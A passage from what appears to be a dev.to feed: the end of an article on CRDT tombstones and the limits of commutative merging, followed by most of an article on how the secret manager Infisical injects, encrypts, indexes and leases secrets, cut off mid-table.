&lt;p&gt;Production CRDTs like Automerge and Yjs treat text not as an array of characters, but as a directed graph or linked list of immutable character nodes.&lt;/p&gt;

&lt;p&gt;Each character inserted receives a globally unique, immutable identifier:&lt;br&gt;
$$\text{ID} = (\text{client_id}, \text{logical_clock})$$&lt;/p&gt;

&lt;p&gt;When an item is inserted, it records the ID of the character immediately preceding it (&lt;code&gt;origin&lt;/code&gt; or &lt;code&gt;after_id&lt;/code&gt;):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[Start] &amp;lt;--- (Node 1: 'H', id=(A, 1), after=Start) 
        &amp;lt;--- (Node 2: 'i', id=(A, 2), after=(A, 1))
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If client A inserts &lt;code&gt;'a'&lt;/code&gt; after &lt;code&gt;'H'&lt;/code&gt;, and client B concurrently inserts &lt;code&gt;'o'&lt;/code&gt; after &lt;code&gt;'H'&lt;/code&gt;, both nodes point to &lt;code&gt;(A, 1)&lt;/code&gt; as their anchor. When replicas merge, they need a deterministic tie-breaking rule to decide whether the text becomes &lt;code&gt;"Hoa"&lt;/code&gt; or &lt;code&gt;"Hao"&lt;/code&gt;. &lt;/p&gt;

&lt;p&gt;Algorithms like RGA and Yjs's YATA compare the unique IDs (e.g., higher logical clock or higher client UUID wins) to place the sibling nodes consistently on every machine.&lt;/p&gt;




&lt;h3&gt;
  
  
  The Tombstone Problem: Why Deleted Code Lives Forever
&lt;/h3&gt;

&lt;p&gt;Here is the central engineering challenge of sequence CRDTs: &lt;strong&gt;you cannot simply free or delete a node from memory.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Imagine this sequence of events:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Client A and Client B start with the word &lt;code&gt;"CAT"&lt;/code&gt;. Node &lt;code&gt;'A'&lt;/code&gt; has ID &lt;code&gt;(1, 2)&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Client A deletes &lt;code&gt;'A'&lt;/code&gt;, leaving &lt;code&gt;"CT"&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Concurrently, Client B (offline) types &lt;code&gt;'R'&lt;/code&gt; immediately after &lt;code&gt;'A'&lt;/code&gt;, intending to write &lt;code&gt;"CART"&lt;/code&gt;. Node &lt;code&gt;'R'&lt;/code&gt; has &lt;code&gt;after_id = (1, 2)&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;If Client A physically removed &lt;code&gt;'A'&lt;/code&gt; from its local linked list upon deletion, what happens when Client B's update finally arrives over the network?&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Client B sends: Insert 'R', after=(1, 2)
Client A's document: Node (1, 2) does not exist!
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Node &lt;code&gt;'R'&lt;/code&gt; has lost its parent anchor. Its geometric position in the document graph is undefined.&lt;/p&gt;

&lt;p&gt;To prevent graph breakage, sequence CRDTs convert deleted characters into &lt;strong&gt;tombstones&lt;/strong&gt;. The node remains in the linked list to preserve structural routing for concurrent edits, but its visible flag is set to deleted:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[Node 'C'] -&amp;gt; [Node 'A' (TOMBSTONE)] -&amp;gt; [Node 'T']
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When rendering the document on screen, the traversal simply skips over tombstones. But in memory and on disk, every typo, backspace, and rewrite remains permanently preserved. In a document that has undergone months of continuous editing, 80% to 90% of the nodes in memory can be tombstones.&lt;/p&gt;




&lt;h3&gt;
  
  
  How Modern Systems Manage Tombstones
&lt;/h3&gt;

&lt;p&gt;Because unbounded memory growth kills long-running processes, libraries use specific optimization strategies:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Compound Run-Length Encoding&lt;/strong&gt;: Instead of allocating one JavaScript object per character (which ballooned early CRDT prototypes to 40x memory overhead), modern Yjs and Automerge group consecutive keystrokes from the same user into a single continuous struct: &lt;code&gt;Item { content: "hello world", length: 11, id_start: 100 }&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Discarding Payloads with Lightweight GC&lt;/strong&gt;: When a node is deleted, Yjs strips the actual character payload from memory and replaces it with a bare &lt;code&gt;GC&lt;/code&gt; struct that retains only its length and ID sequence. The text string is reclaimed, leaving behind only the routing metadata.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Consensus-Based Tombstone Purging&lt;/strong&gt;: In peer-to-peer systems, you can safely remove a tombstone completely only when you can mathematically prove that every single peer in the network has observed the deletion and progressed past that point in causal time. &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Proving that all peers have seen an edit requires a global state exchange (such as tracking the minimum vector clock across all known clients). If one offline peer disappears for three weeks, garbage collection must halt to preserve compatibility for that peer's eventual reconnect.&lt;/p&gt;




&lt;h3&gt;
  
  
  Where CRDTs Fail: The Limits of Commutative Math
&lt;/h3&gt;

&lt;p&gt;CRDTs are powerful, but they are not universal drop-in replacements for relational databases or consensus engines. They fail when business logic depends on &lt;strong&gt;invariants that span multiple records&lt;/strong&gt;:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Unique Constraints&lt;/strong&gt;: If Alice registers the username &lt;code&gt;"alex"&lt;/code&gt; while offline on her laptop, and Bob registers &lt;code&gt;"alex"&lt;/code&gt; while offline on his phone, a CRDT cannot resolve this cleanly. Neither write is invalid in isolation. To guarantee uniqueness without human intervention, you need a coordinator or a Paxos/Raft consensus group.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Conservation of Balance&lt;/strong&gt;: You cannot build an offline CRDT for a checking account where the balance must never drop below zero. If an account has $100, and two offline nodes concurrently withdraw $80, both operations are locally valid. When they sync, the merged balance would be -$60.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Complex Foreign Key Cascades&lt;/strong&gt;: In relational models, deleting an organization cascades to its members. If another client concurrently invites a new member into that organization, the eventual state can end up with orphaned references unless complex causal trees are maintained.&lt;/li&gt;
&lt;/ol&gt;




&lt;h3&gt;
  
  
  Summary Takeaway
&lt;/h3&gt;

&lt;p&gt;CRDTs replace network locking with algebraic guarantees. By restricting merge functions to commutative, associative, and idempotent operations, replicas can run completely disconnected and reach identical states upon reconnection.&lt;/p&gt;

&lt;p&gt;The cost is structural metadata: unique identifiers for every mutation, vector clocks to track causality, and tombstones that linger to anchor concurrent writes. &lt;/p&gt;

&lt;p&gt;When your application needs high availability, instant local UI response, and painless offline collaboration, understanding this math lets you design state structures that converge naturally instead of fighting edge cases in manual conflict handlers.&lt;/p&gt;

</description>
      <category>architecture</category>
      <category>distributedsystems</category>
      <category>programming</category>
      <category>algorithms</category>
    </item>
    <item>
      <title>Infisical Under the Hood: What Actually Happens When You Inject Secrets</title>
      <dc:creator>Syed Anzar</dc:creator>
      <pubDate>Fri, 13 Nov 2026 05:49:21 +0000</pubDate>
      <link>https://dev.to/syed_anzar/infisical-under-the-hood-what-actually-happens-when-you-inject-secrets-pio</link>
      <guid>https://dev.to/syed_anzar/infisical-under-the-hood-what-actually-happens-when-you-inject-secrets-pio</guid>
      <description>&lt;p&gt;A surprising number of engineering teams handle credentials by copy-pasting &lt;code&gt;.env&lt;/code&gt; files in direct messages or committing test keys into private repositories. When teams decide to fix this, they usually look at two extremes. On one side is HashiCorp Vault: enterprise-grade and capable, but requiring dedicated operators to manage Consul storage clusters, Shamir unseal ceremonies, and token lease renewals. On the other side are hosted services like Doppler: clean developer experience, but closed-source and billed per seat while storing your production secrets on third-party infrastructure.&lt;/p&gt;

&lt;p&gt;Infisical emerged to bridge this gap. With roughly 30,000 GitHub stars and an open-source core under the MIT license, it has become the default self-hosted secret manager for teams moving away from HashiCorp's BSL license and expensive SaaS plans.&lt;/p&gt;

&lt;p&gt;The interesting question is what happens under the hood. How does a command like &lt;code&gt;infisical run -- npm start&lt;/code&gt; hand secrets to your code without creating a &lt;code&gt;.env&lt;/code&gt; file? How does the database index encrypted secrets without decrypting them first? And how does it generate temporary database credentials that self-destruct after an hour?&lt;/p&gt;

&lt;p&gt;Here is how Infisical works internally.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why &lt;code&gt;.env&lt;/code&gt; files are dangerous in production
&lt;/h2&gt;

&lt;p&gt;To understand what Infisical does, look at what happens when an application loads credentials from a &lt;code&gt;.env&lt;/code&gt; file on disk:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Filesystem persistence&lt;/strong&gt;: A &lt;code&gt;.env&lt;/code&gt; file written to disk leaves traces in unallocated disk sectors, container image layers, and local cache backups. If you run &lt;code&gt;docker build&lt;/code&gt; with a &lt;code&gt;.env&lt;/code&gt; file present, that layer persists in your image history.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Workspace traversal&lt;/strong&gt;: Modern developer tooling, language servers, and local AI coding assistants scan the project workspace by default. A plaintext file in your working directory is readable by any process running under your user account.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Lack of auditability&lt;/strong&gt;: When someone copies a database string from a &lt;code&gt;.env&lt;/code&gt; file, there is no log entry, no timestamp, and no record of which developer accessed which key.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Static credentials&lt;/strong&gt;: Static keys stay valid until someone manually rotates them, which in practice rarely happens until an incident forces it.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Infisical replaces this file-based model with an encrypted server, an API, and runtime process memory injection.&lt;/p&gt;




&lt;h2&gt;
  
  
  What actually happens during &lt;code&gt;infisical run&lt;/code&gt;
&lt;/h2&gt;

&lt;p&gt;When you start an application using Infisical, you run:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;infisical run --env=production -- node server.js
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Most developers assume the CLI creates a temporary &lt;code&gt;.env&lt;/code&gt; file, starts Node, and deletes the file. That is not what happens. Creating a temporary file would reintroduce the disk exposure risk.&lt;/p&gt;

&lt;p&gt;Instead, Infisical uses POSIX process creation mechanisms:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;+-------------------------------------------------------------+
| 1. Infisical CLI authenticates via Machine Identity / Token |
+-------------------------------------------------------------+
                              |
                              v
+-------------------------------------------------------------+
| 2. Fetches encrypted secrets over TLS and decrypts in RAM   |
+-------------------------------------------------------------+
                              |
                              v
+-------------------------------------------------------------+
| 3. Builds environment array: ["PORT=3000", "DB_PASS=..."]    |
+-------------------------------------------------------------+
                              |
                              v
+-------------------------------------------------------------+
| 4. Invokes execve(binary, argv, envp)                       |
|    - Spawns child process directly                          |
|    - Passes envp into child process virtual memory stack     |
|    - Zero bytes written to disk                             |
+-------------------------------------------------------------+
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Here is the exact step-by-step sequence:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Authentication&lt;/strong&gt;: The CLI reads an authentication token from &lt;code&gt;INFISICAL_TOKEN&lt;/code&gt; or your local session, contacting the Infisical API over TLS 1.3.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;In-Memory Decryption&lt;/strong&gt;: The server returns the encrypted secret payload. The CLI decrypts the secrets in its own volatile memory using the project data key.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Environment Block Assembly&lt;/strong&gt;: The CLI formats the decrypted secrets into a standard C-style environment pointer array (&lt;code&gt;char *envp[]&lt;/code&gt;), combining the host environment with the injected variables.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Kernel System Call&lt;/strong&gt;: The CLI calls the &lt;code&gt;execve&lt;/code&gt; system call (or platform equivalent like &lt;code&gt;CreateProcess&lt;/code&gt; on Windows), passing the command (&lt;code&gt;node&lt;/code&gt;), arguments (&lt;code&gt;server.js&lt;/code&gt;), and the custom &lt;code&gt;envp&lt;/code&gt; block.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Because the kernel loads the environment variables directly into the child process's initial stack and virtual memory segment, the secrets never touch the storage layer. When the child process terminates, the operating system reclaims the memory pages.&lt;/p&gt;

&lt;h3&gt;
  
  
  The shell expansion trap
&lt;/h3&gt;

&lt;p&gt;A common issue trips up developers when testing &lt;code&gt;infisical run&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# This outputs an empty line:&lt;/span&gt;
infisical run --env=dev -- &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$DATABASE_URL&lt;/span&gt;

&lt;span class="c"&gt;# But this correctly prints the URL:&lt;/span&gt;
infisical run --env=dev -- node -e &lt;span class="s2"&gt;"console.log(process.env.DATABASE_URL)"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Why does the first command fail?&lt;/p&gt;

&lt;p&gt;In the first command, your current shell interprets &lt;code&gt;$DATABASE_URL&lt;/code&gt; before it executes the &lt;code&gt;infisical&lt;/code&gt; binary. Because &lt;code&gt;$DATABASE_URL&lt;/code&gt; does not exist in your parent shell, bash expands it to an empty string. The CLI receives &lt;code&gt;infisical run -- echo ""&lt;/code&gt; and prints a blank line.&lt;/p&gt;

&lt;p&gt;In the second command, the string argument is protected by quotes. Node starts inside the child environment where &lt;code&gt;process.env.DATABASE_URL&lt;/code&gt; has been populated by &lt;code&gt;execve&lt;/code&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  Multilayer envelope encryption: How secrets are stored
&lt;/h2&gt;

&lt;p&gt;Infisical uses PostgreSQL as its primary storage backend. If an attacker gains read access to the database via SQL injection or a leaked backup, they should not be able to read your credentials.&lt;/p&gt;

&lt;p&gt;To achieve this, Infisical implements a four-tier envelope encryption architecture:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[ Root Encryption Key (AES-256) ]
  (Stored in server environment or external HSM / CloudHSM)
             |
             v  encrypts at rest
[ Internal KMS Root Key (AES-256) ]
  (Stored in PostgreSQL database)
             |
             v  encrypts at rest
[ Project &amp;amp; Organization Data Keys (AES-256-GCM) ]
  (One unique key per project, stored in PostgreSQL)
             |
             v  encrypts at rest
[ Secret Values &amp;amp; Credentials ]
  (Encrypted records in secrets_v2 table)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  The encryption layers
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Root Encryption Key&lt;/strong&gt;: A 256-bit AES key supplied by the infrastructure operator via server environment variables, or stored inside a Hardware Security Module (HSM) such as AWS CloudHSM or Thales Luna. This key never leaves server memory.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Internal KMS Root Key&lt;/strong&gt;: Automatically generated when Infisical initializes. It acts as an intermediate key so the Root Encryption Key is only ever used to decrypt this single record.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Project Data Key&lt;/strong&gt;: Every organization and project receives its own distinct 256-bit AES key generated with cryptographically secure random bytes. This provides cryptographic isolation between tenants. Project data keys can also be delegated to external key managers like AWS KMS or GCP KMS.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Secret Records&lt;/strong&gt;: All secret values are encrypted with the Project Data Key using AES-256-GCM with a unique 96-bit nonce and a 128-bit authentication tag.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The Galois Counter Mode (GCM) authentication tag ensures confidentiality and tamper detection. If any ciphertext byte in PostgreSQL is altered, decryption fails immediately with an integrity error.&lt;/p&gt;




&lt;h2&gt;
  
  
  Blind indexing: Searching encrypted secrets without decrypting the table
&lt;/h2&gt;

&lt;p&gt;A major architectural challenge in encrypted databases is search.&lt;/p&gt;

&lt;p&gt;Suppose you have 10,000 secrets in your database, all encrypted with AES-256-GCM. A developer requests the secret named &lt;code&gt;STRIPE_WEBHOOK_SECRET&lt;/code&gt;. How does the database find that record?&lt;/p&gt;

&lt;p&gt;Traditional naive solutions fail:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Decrypting every row&lt;/strong&gt;: Running &lt;code&gt;SELECT * FROM secrets&lt;/code&gt; and decrypting thousands of rows in application memory on every query destroys database performance.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Deterministic encryption&lt;/strong&gt;: Encrypting with a static initialization vector (IV) allows direct SQL lookup, but reveals equality patterns to attackers (frequency analysis).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Infisical resolves this with &lt;strong&gt;blind indexing&lt;/strong&gt;, implemented in its cryptographic engine:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;                    +--------------------+
                    |    KMS Data Key    |
                    +--------------------+
                              |
                              v  HKDF with SHA-256
                              |  Context: "infisical-secret-value-blind-index-v1"
                              v
                    +--------------------+
                    |  Blind Index Key   |
                    +--------------------+
                              |
+--------------+              |
| Secret Name  | ------------&amp;gt; ( HMAC-SHA256 )
+--------------+              |
                              v
                    +--------------------+
                    |  Blind Index Hash  | (Stored in indexed column)
                    +--------------------+
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Here is the exact mechanism:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Key Derivation (HKDF)&lt;/strong&gt;: The system derives a separate blind index key from the KMS data key using HMAC-based Key Derivation Function (HKDF) with SHA-256. It applies a distinct context string (&lt;code&gt;infisical-secret-value-blind-index-v1&lt;/code&gt;). This domain separation ensures the derived key can only compute blind hashes and cannot decrypt ciphertext.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Deterministic Hashing&lt;/strong&gt;: When a secret is saved or queried, Infisical computes &lt;code&gt;HMAC-SHA256(secret_name, blind_index_key)&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Database Query&lt;/strong&gt;: The resulting hash is stored in an indexed column. When searching, PostgreSQL executes:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;   &lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;secrets&lt;/span&gt; &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;secret_blind_index&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The database engine performs an efficient B-tree index lookup, but neither the database server nor an attacker reading the disk can deduce the underlying secret name.&lt;/p&gt;




&lt;h2&gt;
  
  
  Dynamic secrets: Ephemeral credentials with automatic revocation
&lt;/h2&gt;

&lt;p&gt;Static credentials create security liability because they stay active indefinitely. If an engineer leaves the team or an access token is exposed in CI logs, the credential remains functional until someone remembers to update it.&lt;/p&gt;

&lt;p&gt;Infisical handles this through &lt;strong&gt;dynamic secrets&lt;/strong&gt;. Instead of storing static values, Infisical connects to target infrastructure (PostgreSQL, MySQL, AWS IAM, RabbitMQ) and creates temporary users on demand with strict Time-To-Live (TTL) leases.&lt;/p&gt;

&lt;h3&gt;
  
  
  How PostgreSQL dynamic secrets work
&lt;/h3&gt;

&lt;p&gt;When an application or developer requests a temporary database user:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;infisical dynamic-secrets lease create postgres-db --ttl=1h
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Infisical executes the configured SQL template against your PostgreSQL cluster:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="c1"&gt;-- Executed by Infisical admin user:&lt;/span&gt;
&lt;span class="k"&gt;CREATE&lt;/span&gt; &lt;span class="no"&gt;ROLE&lt;/span&gt; &lt;span class="s2"&gt;"infisical_lease_9a2f1c"&lt;/span&gt; 
&lt;span class="k"&gt;WITH&lt;/span&gt; &lt;span class="no"&gt;LOGIN&lt;/span&gt; &lt;span class="no"&gt;PASSWORD&lt;/span&gt; &lt;span class="s1"&gt;'temporary_random_password'&lt;/span&gt; 
&lt;span class="no"&gt;VALID&lt;/span&gt; &lt;span class="no"&gt;UNTIL&lt;/span&gt; &lt;span class="s1"&gt;'2026-11-13 12:00:00+00'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;GRANT&lt;/span&gt; &lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="k"&gt;ON&lt;/span&gt; &lt;span class="k"&gt;ALL&lt;/span&gt; &lt;span class="no"&gt;TABLES&lt;/span&gt; &lt;span class="k"&gt;IN&lt;/span&gt; &lt;span class="k"&gt;SCHEMA&lt;/span&gt; &lt;span class="n"&gt;public&lt;/span&gt; &lt;span class="k"&gt;TO&lt;/span&gt; &lt;span class="s2"&gt;"infisical_lease_9a2f1c"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Infisical returns the generated username and password, then registers a delayed job in its BullMQ and Redis queue.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Application requests lease (TTL: 1h)
           |
           v
Infisical creates user in Postgres with VALID UNTIL
           |
           v
BullMQ schedules revocation job in Redis (delay: 3600s)
           |
    [1 hour passes]
           |
           v
Worker executes revocation:
REVOKE ALL PRIVILEGES ON ALL TABLES IN SCHEMA public FROM "infisical_lease_9a2f1c";
DROP ROLE IF EXISTS "infisical_lease_9a2f1c";
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Even if the application crashes or forgets to release the lease, PostgreSQL enforces the &lt;code&gt;VALID UNTIL&lt;/code&gt; timestamp at the database level, and Infisical's background worker drops the role completely.&lt;/p&gt;




&lt;h2&gt;
  
  
  Kubernetes synchronization without application changes
&lt;/h2&gt;

&lt;p&gt;In production Kubernetes clusters, changing application code to call secret management SDKs creates vendor lock-in. If you write your application around an Infisical, Vault, or Doppler SDK, switching providers later requires rewriting your startup routines.&lt;/p&gt;

&lt;p&gt;Infisical uses a Kubernetes Operator pattern written in Go. The operator monitors custom resource definitions (&lt;code&gt;InfisicalSecret&lt;/code&gt;) and manages native Kubernetes &lt;code&gt;Secret&lt;/code&gt; resources.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;apiVersion&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;secrets.infisical.com/v1alpha1&lt;/span&gt;
&lt;span class="na"&gt;kind&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;InfisicalSecret&lt;/span&gt;
&lt;span class="na"&gt;metadata&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;backend-secrets&lt;/span&gt;
  &lt;span class="na"&gt;namespace&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;production&lt;/span&gt;
&lt;span class="na"&gt;spec&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;hostAPI&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;https://secrets.internal.example.com/api&lt;/span&gt;
  &lt;span class="na"&gt;resyncInterval&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;60&lt;/span&gt;
  &lt;span class="na"&gt;authentication&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;serviceAccount&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;tokenPath&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;/var/run/secrets/kubernetes.io/serviceaccount/token&lt;/span&gt;
  &lt;span class="na"&gt;managedSecretReference&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;secretName&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;backend-app-env&lt;/span&gt;
    &lt;span class="na"&gt;secretNamespace&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;production&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The operator reconciliation cycle works as follows:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Authentication&lt;/strong&gt;: The operator uses the projected Kubernetes Service Account Token to authenticate against Infisical via Kubernetes Native Auth.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Sync&lt;/strong&gt;: It fetches secrets for the specified project environment and writes them into a standard Kubernetes &lt;code&gt;Secret&lt;/code&gt; named &lt;code&gt;backend-app-env&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Consumption&lt;/strong&gt;: Your deployment consumes secrets using standard Kubernetes syntax:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;   &lt;span class="na"&gt;envFrom&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
     &lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="na"&gt;secretRef&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
         &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;backend-app-env&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Auto-Reload&lt;/strong&gt;: When secrets change in Infisical, the operator detects the update during its resync interval, updates the Kubernetes &lt;code&gt;Secret&lt;/code&gt;, and patches the deployment with a timestamp annotation. This triggers a standard zero-downtime rolling restart of the pods.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Your application code continues to read &lt;code&gt;process.env&lt;/code&gt; or &lt;code&gt;os.environ&lt;/code&gt; without any Infisical client libraries installed.&lt;/p&gt;




&lt;h2&gt;
  
  
  Architecture comparison: Infisical vs HashiCorp Vault vs Doppler vs &lt;code&gt;.env&lt;/code&gt;
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Feature&lt;/th&gt;
&lt;th&gt;Plain &lt;code&gt;.env&lt;/code&gt; Files&lt;/th&gt;
&lt;th&gt;HashiCorp Vault&lt;/th&gt;
&lt;th&gt;Doppler&lt;/th&gt;
&lt;th&gt;Infisical&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Open Source&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Yes (plain text)&lt;/td&gt;
&lt;td&gt;No (BSL License)&lt;/td&gt;
&lt;td&gt;No (Proprietary SaaS)&lt;/td&gt;
&lt;td&gt;Yes (MIT Core)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Hosting Model&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Local disk&lt;/td&gt;
&lt;td&gt;Self-hosted / HCP&lt;/td&gt;
&lt;td&gt;Cloud SaaS only&lt;/td&gt;
&lt;td&gt;Self-hosted or Cloud&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Storage Backend&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Plain text files&lt;/td&gt;
&lt;td&gt;Consul / Raft / Vault DB&lt;/td&gt;
&lt;td&gt;Doppler Cloud&lt;/td&gt;
&lt;td&gt;PostgreSQL + Redis&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Operator Complexity&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;None (manual)&lt;/td&gt;
&lt;td&gt;High (unsealing, policies)&lt;/td&gt;
&lt;td&gt;Zero (hosted)&lt;/td&gt;
&lt;td&gt;Low (single Docker Compose)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Memory Injection&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;No (reads from disk)&lt;/td&gt;
&lt;td&gt;CLI / Agent&lt;/td&gt;
